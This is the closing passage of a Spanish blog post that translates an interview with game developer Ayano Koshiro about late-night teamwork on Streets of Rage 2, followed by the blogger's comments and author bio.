En aquellos días, todos nuestros archivos estaban en el mismo lugar, por lo que podíamos sacar las cosas y mirarlas de inmediato. Eso estuvo bien. Todos nuestros documentos de planificación fueron creados meticulosamente. Todos trabajamos muy duro para aportar nuestro granito de arena. Y no es fácil revisar documentos en papel.

El equipo trabajaba hasta altas horas de la noche, e incluso a medianoche todos salíamos a comer juntos, y regresábamos para trabajar más. Fue realmente divertido. No parecía trabajo, ni nos sentíamos obligados. Aunque engordamos. (risas)

Sí, los primeros 20 años es un momento de ganar peso para muchos. (Risas) Pero realmente puedo sentir la pasión que tenías en ese momento. Un grupo de jóvenes desarrolladores de poco más de 20 años, que vertieron toda su energía juvenil en su trabajo: risa, ira y, a veces, lágrimas … Y gracias a eso tuvimos clásicos como Streets of Rage 2. Bueno, es hora de terminar. ¡Gracias por tomarte un tiempo hoy para una entrevista tan larga!

Koshiro: Ya la tienes. (risas)


Adoro leer estas entrevistas donde recuerdan anécdotas y comparan las formas de trabajar de ayer y hoy. Era sin duda una época de innovación y crecimiento para la industria, y también de libertad creativa.

Hasta aquí esta estupenda entrevista a Ayano Koshiro, otra mujer veterana del mundillo que gracias a su aportación disfrutamos de maravillosos juegos como Streets of Rage 2. Seguiremos sacando a la luz otras grandes figuras clave olvidadas, así que seguid muy de cerca las futuras entrevistas.

Fuente.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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